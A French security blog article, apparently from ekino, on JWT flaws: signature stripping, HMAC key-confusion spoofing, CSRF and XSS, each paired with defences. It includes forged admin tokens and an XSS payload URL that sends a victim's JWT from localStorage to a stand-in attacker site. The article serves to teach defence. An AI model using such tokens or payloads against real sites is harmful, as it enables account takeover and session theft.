En toute sécurité avec JWT (2de partie)

Actualité ekino -

Second volet d'une série d'articles sur les aspects sécurité des Json Web Token (JWT) : se protéger des failles de sécurité

Article paru le :
En toute sécurité avec JWT : deuxième partie
Article paru le :

Dans la première partie de cet article (En toute sécurité avec JWT (1re partie)), nous avons étudié les Json Web Token sous l’angle de la sécurité informatique en examinant les mécanismes internes que la spécification avait définis pour garantir l’authenticité / l’inviolabilité des données véhiculées.

Cependant, et ce malgré des fondations solides en matière de sécurité, les jetons JWT restent vulnérables. Des failles de sécurité ont déjà été répertoriées. La protection contre une partie de ces failles a été intégrée dans les librairies de manipulation des jetons JWT. Une autre partie doit être prise en compte par les développeurs d’applications, en adoptant quelques bons principes.

C’est ce que nous allons étudier maintenant.

Faille « Signature Stripping »

Une technique bien connue pour attaquer un jeton JWT signé consiste simplement à retirer la partie « signature » (3ème partie du jeton JWS) et à modifier la partie « header » pour déclarer le jeton JWT comme non-signé (en positionnant le champ « alg » à la valeur « none »). C’est ce que l’on appelle la faille « Signature Stripping » ou retrait de la signature.

Exemple : reprenons le jeton JWT signé avec l’algorithme HMAC + SHA-256, décrit dans notre premier article.

Maintenant, imaginons que nous modifions la partie « header » pour positionner la valeur « none » au champ « alg », que nous modifions la partie « payload » pour s’attribuer les droits administrateur et que nous retirons la partie « signature ».

JWT faille Signature Stripping

1. Le pirate s’authentifie au site avec son compte
2. Le site lui renvoie le jeton JWT dans un Cookie
3. Le pirate modifie le jeton JWT (modification de l’entête, du payload et retrait de la signature)
4. Le pirate envoie une requête à l’API de récupérations des utilisateurs, en lui fournissant le jeton modifié dans le Cookie
5. Le site lui renvoie toutes les informations des utilisateurs, le considérant comme administrateur du site

 

Cela nous donne :

HEADER : algorithme & type de jeton
{
  « alg »: « none »
}
PAYLOAD : données
{
  « iss »: « myApplication »,
  « sub »: « user123 »,
  « exp »: « 1489419760 »,
  « iat »: « 1489398160 »,
  « jti »: « 7caed540-f2c6-4921-9fcd-e405f5460d81 »,
  « customUserName »: « John Doe »,
  « customIsAdmin »: true
}
JWT TOKEN : version compact du jeton (sauts de ligne ajoutés pour la lisibilité)
eyJhbGciOiJub25lIn0.
eyJpc3MiOiJteUFwcGxpY2F0aW9uIiwic3ViIjoidXNlcjEyMyIsImV4cCI6I
jE0ODk0MTk3NjAiLCJpYXQiOiIxNDg5Mzk4MTYwIiwianRpIjoiN2NhZWQ1NDAtZjJjN
i00OTIxLTlmY2QtZTQwNWY1NDYwZDgxIiwiY3VzdG9tVXNlck5hbWUiOiJKb2huIERvZ
SIsImN1c3RvbUlzQWRtaW4iOnRydWV9
.

 

Si la librairie utilisée côté serveur fait confiance à l’algorithme déclaré dans la partie « header », le jeton est tout à fait valide, bien que non signé. Nous voilà devenus administrateur du site !

Depuis la découverte de la faille, la plupart des librairies se sont mises à jour avec un patch de sécurité : chez Ekino, nous utilisons en particulier la librairie Java JWT de Stormpath (https://github.com/jwtk/jjwt) qui produit une « RuntimeException » si l’on enlève la signature : « io.jsonwebtoken.UnsupportedJwtException: Unsigned Claims JWTs are not supported ».

Il faut donc se renseigner avant d’intégrer telle ou telle librairie dans son projet : nous protège t-elle de ce type de faille ?

Faille « HMAC-Spoofing »

Une autre faille importante a été décelée dans le cas d’un jeton JWT signé avec une clé privée. Pour en vérifier l’intégrité, le serveur utilise habituellement la clé publique associée.

Pour l’exemple, reprenons notre jeton JWT signé avec l’algorithme RSASSA + SHA-256, décrit dans notre premier article.

Maintenant, imaginons que nous modifions la partie « header » pour mettre un algorithme HMAC à la place (« alg » à « HS256 »), que nous modifions la partie « payload » pour nous auto-déclarer administrateur et que nous calculions la signature du « header » + « payload » à partir de la clé publique.

JWT faille HMAC-Spoofing

1. Le pirate s’authentifie au site avec son compte
2. Le site lui renvoie le jeton JWT dans un Cookie
3. Le pirate modifie le jeton JWT (modification de l’entête, du payload et calcul d’une nouvelle signature)
4. Le pirate envoie une requête à l’API de récupérations des utilisateurs, en lui fournissant le jeton modifié dans le Cookie
5. Le site lui renvoie toutes les informations des utilisateurs, le considérant comme administrateur du site

 

Cela nous donne :

HEADER : algorithme & type de jeton
{
  « alg »: « HS256 »
}
PAYLOAD : données
{
  « iss »: « myApplication »,
  « sub »: « user123 »,
  « exp »: « 1489419760 »,
  « iat »: « 1489398160 »,
  « jti »: « 7caed540-f2c6-4921-9fcd-e405f5460d81 »,
  « customUserName »: « John Doe »,
  « customIsAdmin »: true
}
JWT TOKEN : version compact du jeton (sauts de ligne ajoutés pour la lisibilité)
eyJhbGciOiJIUzI1NiJ9.
eyJpc3MiOiJteUFwcGxpY2F0aW9uIiwic3ViIjoidXNlcjEyMyIsImV4cCI6I
jE0ODk0MTk3NjAiLCJpYXQiOiIxNDg5Mzk4MTYwIiwianRpIjoiN2NhZWQ1NDAtZjJjN
i00OTIxLTlmY2QtZTQwNWY1NDYwZDgxIiwiY3VzdG9tVXNlck5hbWUiOiJKb2huIERvZ
SIsImN1c3RvbUlzQWRtaW4iOnRydWV9
.
cJHJXkUsNcM-c36Fu5NVwpZfal9_oFZeff8jaTXpj9M

 

Si la librairie utilisée côté serveur fait confiance à l’algorithme déclaré dans la partie « header », le jeton est là encore tout à fait valide. En effet, le code va alors calculer la signature avec un algorithme HMAC et la clé publique comme si elle était le secret partagé.

Pour contrer cette faille, il suffit de vérifier côté serveur que l’algorithme qui a été utilisé pour signer le jeton est le même que celui précisé dans le « header » du jeton reçu.

Faille « Cross-Site Request Forgery (CSRF) »

Cette faille bien connue consiste à piéger un utilisateur en le faisant lancer malgré lui une requête HTTP forgée, à destination d’un site de confiance vulnérable.

Cette requête, enrichie automatiquement par les Cookies de l’utilisateur, sera traitée sans méfiance par le serveur qui ne saura pas faire la différence avec une utilisation normale de l’application.

Plaçons-nous dans le contexte d’une application utilisant JWT pour authentifier un utilisateur et maintenir sa session en envoyant à chaque requête HTTP un Cookie contenant le jeton JWT. Envoyons à cet utilisateur un email frauduleux contenant une fausse image dont l’URL est notre requête forgée.

Exemple : Vous recevez cet email prétendant que vous avez gagné à un jeu concours.

Exemple faille CSRF Cross Site Request Forgery

 

La première image est inoffensive, pas la seconde.

Si la victime charge l’image, la requête HTTP est envoyée au serveur, complétée des Cookies appartenant au domaine « mywebsite ». Le jeton JWT de l’utilisateur est donc envoyé au serveur qui traite la requête. Elle est exécutée avec les droits de la victime.

JWT faille CSRF Cross Site Request Forgery

1. Le pirate envoie un mail malveillant à la victime : une image cachée est en réalité une requête forgée
2. La victime consulte le mail reçu et affiche les images
3. L’image cachée émet une requête HTTP vers le site en récupérant automatiquement les Cookies du domaine
4. La requête forgée est exécutée sur le site avec les droits de la victime

 

Une première défense consiste à donner une vie courte aux jetons JWT. Leur péremption rapide conduira à rendre caduques certaines requêtes inter-sites.

La transmission du jeton JWT par le biais d’un entête de requête (« Authorization : Bearer <jwt> » par exemple) empêche l’exploitation de cette faille CSRF. Contrairement au Cookie, l’entête HTTP n’est pas ajouté automatiquement aux requêtes. Cependant, cela ouvre la porte aux failles XSS, dont nous allons parler ensuite.

Une autre technique de défense plus fiable consiste à n’ajouter un entête HTTP spécial aux requêtes que si elles sont envoyées depuis la bonne origine. On l’appelle « Synchronizer token pattern ».
A l’authentification, le serveur va calculer un identifiant aléatoire qu’il va stocker dans le jeton JWT en tant que « claim » privée et fournir par un autre biais l’information au navigateur qui pourra le stocker dans son « localStorage ». La bonne concordance entre les 2 informations permet de vérifier que la requête a bien été envoyée depuis l’application (et non d’un mail/site malveillant qui ignore la valeur de ce jeton).

Le contrôle des entêtes « Origin » et « Referer » côté serveur est encore un moyen de vérifier que la requête a bien été envoyée depuis l’application. Et donc une protection contre l’attaque CSRF.

Enfin, toute application REST (à minima au niveau 2 sur l’échelle de Richardson) proscrit normalement le déclenchement d’opérations d’écriture par le biais du verbe HTTP GET. Ce qui limite les possibilités d’exploitation de la faille CSRF.

Faille « Cross Site Scripting (XSS) »

Cette attaque consiste à injecter un script (Javascript en général) sur une page d’un site de confiance vulnérable.

Ce script va être exécuté par le navigateur des victimes quand elles navigueront sur la page attaquée. Le pirate pourra ainsi exploiter ce script pour voler les Cookies ou lire dans le « localStorage » / « sessionStorage » du navigateur Web.

Dans le cadre de JWT, il pourra voler le jeton et usurper l’identité de l’utilisateur piégé, tant que le jeton n’a pas expiré.

Exemple : votre site contient une page de recherche qui rappelle les mots-clés saisis dans un champ de formulaire, sans les échapper. En exploitant cette faille, un pirate parvient à injecter le script suivant, en paramètre d’URL :

http://www.mon-site.com/recherche.php?keyword=test%3Cscript%20type=%22text/javascript%22%3Ewindow.location=%27http://www.site_du_pirate.com/recuperation_token.php?token=%27%2BlocalStorage.getItem(%27JWT%27);%3C/script%3E

Exemple faille XSS Cross Site Scripting

 

Quand la victime consultera l’URL fournie par le pirate, le script malicieux effectuera une redirection vers le site du pirate en lui fournissant le jeton JWT, récupéré dans le “localStorage” de la victime.

JWT faille XSS Cross Site Scripting

1. La victime consulte une URL fournie par un pirate : un script Javascript est injecté en paramètre d’URL
2. Le site lui retourne le contenu HTML avec le script Javascript du pirate à l’intérieur
3. Le navigateur de la victime interprète ce script Javascript
4. Le jeton JWT est récupéré dans le « localStorage » de la victime et envoyé à une URL du pirate

 

Une première défense consiste à utiliser des « sanitizers », qui vont nettoyer les entrées en provenance du client avant de les stocker en base de données ou avant de les intégrer dans le code HTML de la page, en fonction du cas de figure. Cependant, cela ne constitue pas une défense définitive étant donné que les applications modernes utilisent de plus en plus des librairies Javascript tierces potentiellement vérolées.

Le fait de conserver le jeton JWT dans le « localStorage » du navigateur Web le rend vulnérable aux attaques XSS, particulièrement néfastes. Effectivement, c’est la solution de stockage privilégiée quand on transmet le jeton JWT par le biais des entêtes HTTP. On peut d’ailleurs envisager de chiffrer le jeton (JWE) pour contrer ce type d’attaque.

Si on utilise un Cookie pour véhiculer le jeton, il est préconisé d’utiliser 2 paramètres spécifiques aux Cookies :

  • Secure : permet au Cookie de n’être transmis que vers les URLs en HTTPS (pas de risque d’attaque « man in the middle »)
  • HTTPOnly : empêche le navigateur de voir ce qu’il y a dedans. Le Cookie sera évidemment envoyé avec chaque requête HTTP.

 
De cette manière, cela rend inaccessible le Cookie qui contient le jeton JWT.

Conclusion

Malgré les protections intrinsèques sur lesquelles sont bâtis les jetons JWT, nous avons découvert l’existence de failles de sécurité. Celles-ci peuvent permettre à une personne mal intentionnée de s’attribuer des droits sur une application ou de changer d’identité, de lancer des opérations pour le compte d’un autre utilisateur ou encore de récupérer sa session active.

Des astuces existent néanmoins pour augmenter son niveau de défense. Et ainsi préserver le climat de confiance, élément clé de la philosophie des Json Web Token.

 

Références